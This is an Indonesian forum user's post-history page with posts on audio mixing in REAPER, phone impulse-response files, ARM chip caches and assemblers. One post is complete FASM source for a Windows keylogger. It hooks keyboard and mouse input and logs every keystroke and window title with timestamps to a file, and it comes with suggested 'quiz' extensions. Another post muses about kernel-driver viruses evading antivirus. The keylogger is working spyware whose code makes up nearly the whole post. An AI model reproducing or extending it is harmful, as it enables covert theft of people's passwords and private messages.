Perlihatkan Tulisan

Seksi ini mengijinkan Anda untuk melihat semua tulisan yang dibuat oleh anggota ini. Catatan bahwa Anda hanya bisa melihat tulisan yang dibuat dalam area di mana Anda memiliki akses terhadapnya.


Pesan - descrates

Halaman: [1] 2 3 ... 62
1
Software / Re:trik mixing sederhana (recording) 80% pakai software
« pada: Oktober 13, 2017, 01:01:53 PM »
trik bikin suara lebih kawaii (khusus buat suara cewek) lewat REAPER
kenapa REAPER? yang gampang aja, buat apa ribet
ini beneran tested di dunia nyata, misalnya suara siapa gitu, hanin dhiya? wkwkwk
dan cocok buat audisi onlen, yakinlah dijamin banyak orang yang akan terkesima
teknik falset gadungan via teknologi

buka reaper, insert file audio (vocal)
pilih efek ReaPitch, engine-nya project default ato elastique pro (normal)

1. kita naikkan pitch sebesar 3 semitones, ini berguna agar frekuensi jadi bergeser
2. setelah itu kita turunkan faktor formant-nya (yang bawah sendiri), sebesar -3
3. masih agak getar? maka kita geser tekanan pada shift formant antara 10-50 cent
4. tentukan kombinasi yang cocok

penggunaan metode ini bukannya tanpa cacat, karena dapat menimbulkan false tune
maka butuhlah auto-tune, dan sejenisnya

btw, buat rekaman pake studio, ato audacity juga cukup bisa, hehehe

2
Teknologi Antivirus / Virus berupa driver kernel ring 0 di Windows 10
« pada: Oktober 02, 2017, 06:55:21 AM »
ada tiga cara dasar

1. lewat signature
2. lewat hooking
3. lewat heuristic

pertama lewat signature, sebenarnya ini paling susah
karena vendor AV harus dapat file-nya dulu
kedua lewat hooking, nah kalo ini sebenarnya mudah
ketiga lewat heuristic, nah kalo ini mayan mumet

btw kadang bikin gw makin penasaran (karena ada yang tanyain)
serius "masalahnya" kalo kernel ring 0, driver only (with dropper), win10 & digitally signed
kebanyakan yang digitally signed diskip apalagi win10 rada beda (katanya)
kalo hooking API heuristic yang inside di ntoskrnl? apa masih bisa?

misalnya lagi, virus detek ketikan kita ketika mau diinterupsi
kita mau ngetik ini = sc stop virusdriver
tapi karena tahu, maka virus nambahin jadi gini = sc stop virusdriberrrr

LOL

3
Programming / [FASM] Keylogger for Windows
« pada: Oktober 01, 2017, 09:13:46 PM »
keylogger unicode versi basic, lol
banyak sih varian yang diposting sama orang (diilangin sebagian fungsinya termasuk yang ini juga)
tapi yang ini rada gw komplitin dikitlah
tapi intinya sih ini kaylogger asli nggak guna di kehidupan nyata
secara langsung disikat sama AV

btw, sebenarnya ada bagian-bagian quiz

1. KeyEventMouse, nah buat yang mau belajar bisa include mouse position
2. log_file, nah buat yang mau belajar bisa divariasi, misal localtime
3. ini memakai "C-like" standar IF.inc bukan SWITCH.inc jadi ya rada ambigu
4. cari sendiri

selamat belajar

Kode: [Pilih]

  format PE GUI 5.0       ; Subsystem Version (min Windows 2000)
 
;   =========================================================
    section '.code' code import writeable readable executable
;   =========================================================
 
    include 'win32wxp.inc'
    include 'IF.inc'


 
;   =====================
    include 'iat.imports'
;   =====================
 
 
    FILE_APPEND_DATA = 0x0004
 
struct KBDLLHOOKSTRUCT
    vkCode          rd 1
    scanCode        rd 1
    flags           rd 1
    time            rd 1
    dwExtraInfo     rd 1
ends
 
 
proc WriteToFile uses esi, wText
    locals
        dwBytesWritten      rd 1
        hFile               rd 1
    endl

    invoke CreateFileW, log_file, FILE_APPEND_DATA, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax <> INVALID_HANDLE_VALUE
        mov [hFile], eax
        invoke lstrlenW, [wText]
        imul eax, 2
        invoke WriteFile, [hFile], [wText], eax, addr dwBytesWritten, NULL
        .if eax = 1
            invoke CloseHandle, [hFile]
            xor eax, eax
            inc eax
            ret
        .endif
    .endif
 
    xor eax, eax
    ret
endp
 
proc KeyEventMouse uses esi, nCode, wParam, lParam
    locals
        window_text         du 1024     dup (?)
        old_window_text     du 1024     dup (?)
        wszAppName          du 1024     dup (?)
        hWindowHandle       rd 1
    endl
 
    .if (([nCode] = HC_ACTION) & (([wParam] = WM_MOUSEFIRST) | ([wParam] = WM_MOUSELAST)))

        invoke GetForegroundWindow
        .if eax <> NULL
            mov [hWindowHandle], eax
            invoke GetWindowTextW, [hWindowHandle], addr window_text, 1024
            .if eax <> 0
                invoke lstrcmpW, addr window_text, addr old_window_text
                .if eax <> 0                 
                    invoke GetLocalTime, LocalTime
 
                    movzx eax, word[LocalTime.wSecond]
                    push eax
 
                    movzx eax, word[LocalTime.wMinute]
                    push eax
 
                    movzx eax, word[LocalTime.wHour]
                    push eax
 
                    movzx eax, word[LocalTime.wYear]
                    push eax
 
                    movzx eax, word[LocalTime.wMonth]
                    push eax
 
                    movzx eax, word[LocalTime.wDay]
                    push eax
 
                    cinvoke wsprintfW, addr wszAppName, tittleFrmt, addr window_text
                    stdcall WriteToFile, addr wszAppName
                    .if eax = 1
                        invoke lstrcpyW, addr old_window_text, addr window_text
                    .endif
                .endif
            .endif

; dummy
        .endif
    .endif

next1:
    invoke CallNextHookEx, [hKeyHook], [nCode], [wParam], [lParam]
    ret
endp


proc KeyEvent uses esi, nCode, wParam, lParam
    locals
        window_text         du 1024     dup (?)
        old_window_text     du 1024     dup (?)
        wszAppName          du 1024     dup (?)
        szKey               du 256      dup (?)
        buff                du 256      dup (?)
        UniChar             du 16       dup (?)
        hWindowHandle       rd 1
        dwMsg               rd 1
        dwProcessId         rd 1
    endl
 
    .if (([nCode] = HC_ACTION) & (([wParam] = WM_SYSKEYDOWN) | ([wParam] = WM_KEYDOWN)))

        mov esi, [lParam]
        virtual at esi
            kbHook KBDLLHOOKSTRUCT <>
        end virtual
 
        mov eax, [kbHook.flags]
        shl eax, 0x8
        add eax, [kbHook.scanCode]
        shl eax, 0x10
        inc eax
        invoke GetKeyNameTextW, eax, addr szKey, 256

        invoke GetForegroundWindow
        .if eax <> NULL
            mov [hWindowHandle], eax
            invoke GetWindowTextW, [hWindowHandle], addr window_text, 1024
            .if eax <> 0
                invoke lstrcmpW, addr window_text, addr old_window_text
                .if eax <> 0                 
                    invoke GetLocalTime, LocalTime
 
                    movzx eax, word[LocalTime.wSecond]
                    push eax
 
                    movzx eax, word[LocalTime.wMinute]
                    push eax
 
                    movzx eax, word[LocalTime.wHour]
                    push eax
 
                    movzx eax, word[LocalTime.wYear]
                    push eax
 
                    movzx eax, word[LocalTime.wMonth]
                    push eax
 
                    movzx eax, word[LocalTime.wDay]
                    push eax
 
                    cinvoke wsprintfW, addr wszAppName, tittleFrmt, addr window_text
                    stdcall WriteToFile, addr wszAppName
                    .if eax = 1
                        invoke lstrcpyW, addr old_window_text, addr window_text
                    .endif
                .endif
 
            .endif

            invoke GetKeyState, VK_LCONTROL
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LCONTROL
                    cinvoke wsprintfW, addr buff, sfrmtLcontrol, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RCONTROL
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RCONTROL
                    cinvoke wsprintfW, addr buff, sfrmtRcontrol, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_LMENU
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LMENU
                    cinvoke wsprintfW, addr buff, sfrmtLmenu, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RMENU
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RMENU
                    cinvoke wsprintfW, addr buff, sfrmtRmenu, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_LWIN
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_LWIN
                    cinvoke wsprintfW, addr buff, sfrmtLwin, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif
        @@: invoke GetKeyState, VK_RWIN
            mov ecx, 32768
            test cx, ax
            je @f
                .if [kbHook.vkCode] <> VK_RWIN
                    cinvoke wsprintfW, addr buff, sfrmtRwin, addr szKey
                    stdcall WriteToFile, addr buff
                    jmp next
                .endif

        @@:  .if [kbHook.vkCode] = VK_BACK
                    stdcall WriteToFile, sBackspace

                    .elseif [kbHook.vkCode] = VK_TAB
                    stdcall WriteToFile, sTab

                    .elseif [kbHook.vkCode] = VK_RETURN
                    stdcall WriteToFile, sEnter

                    .elseif [kbHook.vkCode] = VK_PAUSE
                    stdcall WriteToFile, sPause

                    .elseif [kbHook.vkCode] = VK_CAPITAL
                    stdcall WriteToFile, sCapsLock

                    .elseif [kbHook.vkCode] = VK_ESCAPE
                    stdcall WriteToFile, sEsc

                    .elseif [kbHook.vkCode] = VK_PRIOR
                    stdcall WriteToFile, sPageUp

                    .elseif [kbHook.vkCode] = VK_NEXT
                    stdcall WriteToFile, sPageDown

                    .elseif [kbHook.vkCode] = VK_END
                    stdcall WriteToFile, sEnd

                    .elseif [kbHook.vkCode] = VK_HOME
                    stdcall WriteToFile, sHome

                    .elseif [kbHook.vkCode] = VK_LEFT
                    stdcall WriteToFile, sLeft

                    .elseif [kbHook.vkCode] = VK_UP
                    stdcall WriteToFile, sUp

                    .elseif [kbHook.vkCode] = VK_RIGHT
                    stdcall WriteToFile, sRight

                    .elseif [kbHook.vkCode] = VK_DOWN
                    stdcall WriteToFile, sDown

                    .elseif [kbHook.vkCode] = VK_SNAPSHOT
                    stdcall WriteToFile, sPrintScreen

                    .elseif [kbHook.vkCode] = VK_INSERT
                    stdcall WriteToFile, sIns

                    .elseif [kbHook.vkCode] = VK_DELETE
                    stdcall WriteToFile, sDel

                    .elseif [kbHook.vkCode] = VK_F1
                    stdcall WriteToFile, sF1

                    .elseif [kbHook.vkCode] = VK_F2
                    stdcall WriteToFile, sF2

                    .elseif [kbHook.vkCode] = VK_F3
                    stdcall WriteToFile, sF3

                    .elseif [kbHook.vkCode] = VK_F4
                    stdcall WriteToFile, sF4

                    .elseif [kbHook.vkCode] = VK_F5
                    stdcall WriteToFile, sF5

                    .elseif [kbHook.vkCode] = VK_F6
                    stdcall WriteToFile, sF6

                    .elseif [kbHook.vkCode] = VK_F7
                    stdcall WriteToFile, sF7

                    .elseif [kbHook.vkCode] = VK_F8
                    stdcall WriteToFile, sF8

                    .elseif [kbHook.vkCode] = VK_F9
                    stdcall WriteToFile, sF9

                    .elseif [kbHook.vkCode] = VK_F10
                    stdcall WriteToFile, sF10

                    .elseif [kbHook.vkCode] = VK_F11
                    stdcall WriteToFile, sF11

                    .elseif [kbHook.vkCode] = VK_F12
                    stdcall WriteToFile, sF12

                    .elseif [kbHook.vkCode] = VK_NUMLOCK
                    stdcall WriteToFile, sNumLock

                    .elseif [kbHook.vkCode] = VK_SCROLL
                    stdcall WriteToFile, sScrollLock

                    .elseif [kbHook.vkCode] = VK_APPS
                    stdcall WriteToFile, sApplications


                .else
                    invoke VirtualAlloc, 0, 256, MEM_COMMIT, PAGE_EXECUTE_READWRITE
                    mov edi, eax
 
                    invoke GetKeyboardState, edi
                    .if eax <> 0
                        invoke GetKeyState, VK_SHIFT
                        mov [edi + VK_SHIFT], al
 
                        invoke GetKeyState, VK_CAPITAL
                        mov [edi + VK_CAPITAL], al
 
                        invoke GetForegroundWindow
                        invoke GetWindowThreadProcessId, eax, addr dwProcessId
                        invoke GetKeyboardLayout, eax
 
                        invoke ToUnicodeEx, [kbHook.vkCode], [kbHook.scanCode], edi, addr UniChar, 16, [kbHook.flags], eax
                        stdcall WriteToFile, addr UniChar
                    .endif
 
                    invoke VirtualFree, edi, 0, MEM_RELEASE

            .endif
        .endif
    .endif
 
 
next:
    invoke CallNextHookEx, [hKeyHook], [nCode], [wParam], [lParam]
    ret
endp

proc KeyLogger uses edi, lpParameter
    locals
        msg         MSG
    endl
 
    invoke GetModuleHandleA, NULL
    test eax, eax
    jne @f
 
    invoke LoadLibraryA, [lpParameter]
    test eax, eax
    jne @f
    inc eax
    jmp exit

@@: invoke SetWindowsHookExA, WH_KEYBOARD_LL, KeyEvent, eax, NULL
    mov [hKeyHook], eax

    invoke GetModuleHandleA, NULL
    test eax, eax
    jne @f
 
    invoke LoadLibraryA, [lpParameter]
    test eax, eax
    jne @f
    inc eax
    jmp exit

@@: invoke SetWindowsHookExA, WH_MOUSE_LL, KeyEventMouse, eax, NULL
    mov [hKeyHook], eax

@@: invoke GetMessageA, addr msg, 0, 0, 0
    test eax, eax
    je exit
    invoke TranslateMessage, addr msg
    invoke DispatchMessageA, addr msg
    jmp @b
 
    invoke UnhookWindowsHookEx, addr hKeyHook
    xor eax, eax
exit:
    ret
endp



;   =========================================================
;           ENTRY POINT
;   =========================================================
entry $
 
    invoke CreateThread, NULL, NULL, KeyLogger, NULL, NULL, dwThread
    test eax, eax
    je @f
 
    invoke WaitForSingleObject, eax, -1
    jmp Exit
 
@@: xor eax, eax
    inc eax
Exit:
    ret
 
    tittleFrmt              du 10, 10, '[%s] - %02d/%02d/%04d, %02d:%02d:%02d', 10, 0
    log_file                du 'log_file.txt',      0
     
    sfrmtLcontrol           du '[CtrlL + %s]',      0
    sfrmtRcontrol           du '[CtrlR + %s]',      0
    sfrmtLmenu              du '[AltL + %s]',       0
    sfrmtRmenu              du '[AltR + %s]',       0
    sfrmtLwin               du '[WinL + %s]',       0
    sfrmtRwin               du '[WinR + %s]',       0
 
    sBackspace              du '[Backspace]',       0
    sTab                    du '[Tab]',             0
    sEnter                  du '[Enter]', 10,       0
    sPause                  du '[Pause]',           0
    sCapsLock               du '[Caps Lock]',       0
    sEsc                    du '[Esc]',             0
    sPageUp                 du '[Page Up]',         0
    sPageDown               du '[Page Down]',       0
    sEnd                    du '[End]',             0
    sHome                   du '[Home]',            0
    sLeft                   du '[Left]',            0
    sUp                     du '[Up]',              0
    sRight                  du '[Right]',           0
    sDown                   du '[Down]',            0
    sPrintScreen            du '[Print Screen]',    0
    sIns                    du '[Ins]',             0
    sDel                    du '[Del]',             0
    sF1                     du '[F1]',              0
    sF2                     du '[F2]',              0
    sF3                     du '[F3]',              0
    sF4                     du '[F4]',              0
    sF5                     du '[F5]',              0
    sF6                     du '[F6]',              0
    sF7                     du '[F7]',              0
    sF8                     du '[F8]',              0
    sF9                     du '[F9]',              0
    sF10                    du '[F10]',             0
    sF11                    du '[F11]',             0
    sF12                    du '[F12]',             0
    sNumLock                du '[Num Lock]',        0
    sScrollLock             du '[Scroll Lock]',     0
    sApplications           du '[Applications]',    0
 
    LocalTime               SYSTEMTIME <>
    dwThread                rd 1
    hKeyHook                rd 1



IAT.imports

Kode: [Pilih]
;   =========================================================
;           IAT
;   =========================================================
library user32, 'USER32.dll',\
        kernel32, 'KERNEL32.dll'

import  user32,\
        ToUnicodeEx, 'ToUnicodeEx',\
        GetWindowThreadProcessId, 'GetWindowThreadProcessId',\
        UnhookWindowsHookEx, 'UnhookWindowsHookEx',\
        DispatchMessageA, 'DispatchMessageA',\
        SetWindowsHookExA, 'SetWindowsHookExA',\
        GetKeyboardLayout, 'GetKeyboardLayout',\
        GetForegroundWindow, 'GetForegroundWindow',\
        GetKeyboardState, 'GetKeyboardState',\
        TranslateMessage, 'TranslateMessage',\
        CallNextHookEx, 'CallNextHookEx',\
        GetKeyState, 'GetKeyState',\
        GetMessageA, 'GetMessageA',\
        wsprintfA, 'wsprintfA',\
        GetKeyNameTextW, 'GetKeyNameTextW',\
        GetWindowTextW, 'GetWindowTextW',\
        wsprintfW, 'wsprintfW'

import  kernel32,\
        OutputDebugStringA, 'OutputDebugStringA',\
        OutputDebugStringW, 'OutputDebugStringW',\
        VirtualFree, 'VirtualFree',\
        VirtualAlloc, 'VirtualAlloc',\
        LoadLibraryA, 'LoadLibraryA',\
        GetModuleHandleA, 'GetModuleHandleA',\
        CreateThread, 'CreateThread',\
        WaitForSingleObject, 'WaitForSingleObject',\
        CreateFileW, 'CreateFileW',\
        WriteFile, 'WriteFile',\
        CloseHandle, 'CloseHandle',\
        lstrlenW, 'lstrlenW',\
        lstrcmpW, 'lstrcmpW',\
        GetLocalTime, 'GetLocalTime',\
        lstrcpyW, 'lstrcpyW'
               


4
Programming / RosAsm yang terpinggirkan
« pada: September 29, 2017, 06:08:39 AM »
mungkin ada yang pernah denger?
salah satu assembler x86 yang lumayan bagus menurut gw
asli menurut gw
bukan dari language tapi dari susunan file yang dihasilkan
source code included, virus checker, dll
tapi ya jarang orang yang ngeh
dan sekarang entah kenapa ciri khas rosasm muncul di compiler branded

1. kalo dilihat dari struktur file, sangat maju
    pertama - API call
    kedua - resources
    ketiga - data
    keempat - code

2. ada disasm-nya, meskipun kurang power tapi work
    dan bagusnya bisa compile ulang, lol

kalo berkaca lagi sebenernya banyak kasus "language yang akhirnya mati"
di-bully karena emang nggak lazim tapi abis itu dipake, lol
gw inget kasus HLA http://en.wikipedia.org/wiki/High_Level_Assembly
pas jaman itu jadi tandem MASM ampe jungkir balik
tapi ya makin lama makin meredup
dan pas gw liat golang, eh ternyata ada HLA-nya (rewrite sih)

5
Hardware & Driver / Re:Panduan memilih SoC ARM buat hape
« pada: September 23, 2017, 12:04:53 PM »
baru saja mikir, makin lama makin ketebak
kalo melihat data, kemungkinan SoC ARM sekelas Snapdragon 845
konfigurasinya seperti ini (jadi mirip A10X deh)

L1 cache   Per core: 64 KiB instruction + 64 KiB data (estimated)
L2 cache   3 MiB (estimated)
L3 cache   4 MiB (estimated)

jumlah transistor sekitar 5 M lebih

kalau begitu mungkin A11 tinggal buka saja L1 cache ke 64 KiB (atau lebih)
dan tambah core (kalo perlu L3 cache diadakan)

teorinya gini kalo A11X-A12-A12X-A13 (lanjutannya juga pake big.LITTLE), gw copas aja daripada capek
tapi lumayan lama buat realisasinya

The ring big.LITTLE-logy had a lot of combos (it ran very very fast, if up to 3.0GHz with Parallel-JIT). The Ring should run at up to 3.0GHz, while the current technology and L3-cache runs at at between 1.6GHz and 2.8GHz. As result, the L3-cache latency was pretty low: if the core is lucky enough to find the data in its own cache slice, only one extra cycle is needed (on top of the normal L1-L2-L3 latency). Getting a cacheline of another slice can cost up to 4 cycles, with an average cost of 2 cycles. Still, according to SoC the average latency to the L3-cache is only 30-10% higher, and the power usage is lower. Peak memory bandwidth and capacity is quite a bit higher with 4 dies and 2 memory channels per die. However, there is no central last level cache that can perform low latency data coordination between the L2-caches of the different cores. The latency difference between accessing a local L3-cache chunk and one further away is negligible on average, allowing the L3-cache to be a central storage for fast data synchronization between the L2-caches. As result, the 8x8 MiB L3-caches acts like - relatively low latency - spill over caches for the 32 L2-caches on one chip. 

nb: berarti range harga SoC max 50 USD, wkwkwk (kalo pake cache gede)

6
Hardware & Driver / Re:Panduan memilih SoC ARM buat hape
« pada: September 20, 2017, 09:56:00 AM »
bulan ini dunia procie ARM dikejutkan oleh procie A11 yang ngalahin Sanpdragon 835
dari data bisa diamati kalau cache L2 di A11 udah mulai dibuka meskipun L1 dikurangin
padahal kalo L1 dibuka performa akan berlipat ganda (bisa-bisa Snapdragon tidak laku)

L1 cache   32 KB instruction, 32 KB data
L2 cache   8 MB
L3 cache   none

7
Chit-Chat / Re:Chit Chat, Absen, Say Hi 4
« pada: September 19, 2017, 06:06:03 AM »
awalnya baca di web, translate rada bagus
terus mandeng, cari ke source asli pagi ini
nggak tahu gimana cara translate yang rada baik dan benar, akhirnya frustasi
baru baca bentar udah sepet (baru nyampe HK40)
novel dengan tema teknologi komputer

https://translate.google.com/translate?sl=auto&tl=en&js=y&prev=_t&hl=en&ie=UTF-8&u=http%3A%2F%2Fwww.piaotian.com%2Fhtml%2F3%2F3722%2F4263651.html&edit-text=&act=url

http://www.microsofttranslator.com/bv.aspx?from=&to=en&a=http%3A%2F%2Fwww.piaotian.com%2Fhtml%2F3%2F3722%2F

8
Aplikasi Mobile (Android iOS) / trik bikin Impulse Respons di iOS/Android
« pada: September 16, 2017, 06:14:14 AM »
suara nggak pernah bohong
kamu harus tahu spesifikasi soundcard-nya, biar pas buat implementasi
kamu ngga bisa bikin IRS overdosis

pertama-tama kamu harus ada basic cara bikinnya (gw pernah share)
kalo nyomot dari IRS base yang sudah ada pastikan good quality di ponsel
banyak yang beredar dari DTS, SRS, bla bla tapi pas dicobain di iOS/Android nggak nendang
karena yang bikin nggak ngeliat soundcard

next mau tweak sekelas dolby atmos bisa juga tapi pahami dulu gimana dolby atmos tercipta
abis itu implementasikan di IRS, gw jamin kualitas dolby atmos via IRS lebih baik
kenapa? karena kalau lewat IRS kita bisa set maximal

1. bikin base yang support clarity, kenapa clarity?
    hampir semua ponsel kualitas soundcard jelek di clarity, gw yakinlah
    karena vendor lebih menekan pada spek fungsi voice, hehehe
    kalo ini passed lanjut ke bass

2. bass, ini ada macem-macem paling banyak ya megabass alias ke arah power-nya
    satu yang good quality di sektor ini adalah samsung

3. vocal, sektor ini adalah sektor labil karena masing-masing vendor beda-beda
    beda region jualan beda setting, jadi mending jangan sentuh banyak-banyak
    yang rada good quality di sektor ini adalah LG (bawaan hardware)

4. environtment, ya macem-macem deh
    gw pake audacity, yang gampang aja, meskipun pake VST juga
    intinya buat ngeliat spectrum dalam desibel

5. panjang IRS, paling mentok 1 second lebih dikit

9
Aplikasi Mobile (Android iOS) / Re:[Share] Impulse Respons for iOS/iPhone
« pada: September 14, 2017, 05:22:22 PM »
buat komparasi aja antara deep bass dan power bass (trademark: megabass dll)
meskipun mirip tapi beda jauh

ini power bass (medium room 2 iphone sebelum diolah)

ya kalo ada yang mau bikin set environmentnya ya silakan aja

http://www.mediafire.com/file/6xtbm6bfnbcxxcy/iPhone_%28Power_Bass%29.wav

10
Aplikasi Mobile (Android iOS) / Re:[Share] Impulse Respons for iOS/iPhone
« pada: September 14, 2017, 04:39:08 PM »
gw kasih versi yang deep bass (revisi), setelah ada komplain combo deep bass-nya kurang nendang
buat yang suka dangdut koplo/dangsut tradisional lumayanlah
buat yang suka musik ajeb-ajeb ya bisa juga
gw masukinlah semua genre
jadi yang suka via vallen sampai nella kharisma, rhoma irama dll bisa masuk deh
gw pake teknologi bikinan samsung buat yang satu ini (deep bass)
dan juga 3D vocalist bikinan samsung juga

terus trik peletakannya agar lumayan pas, yaitu ditaruh di depan dynamic bass
sehingga menghasilkan efek yang cukup enak

dan sorry kalo nggak ada buat android

fitur:
- only compatible with iOS/iPhone
- compatible with Philips Fidelio M2L
- 24 bits
- hyper clarity
- dynamic 3D vocalist (thx to samsung)
- dynamic deep bass (thx to samsung)
- more realistic live (thx to audacity)
- 20KHz cut off

http://www.mediafire.com/file/vb84e39ru5hn9f6/Medium_Room_2_iPhone_%28Deep_Bass%29.wav

untuk versi speaker dugem gw skip ya

Halaman: [1] 2 3 ... 62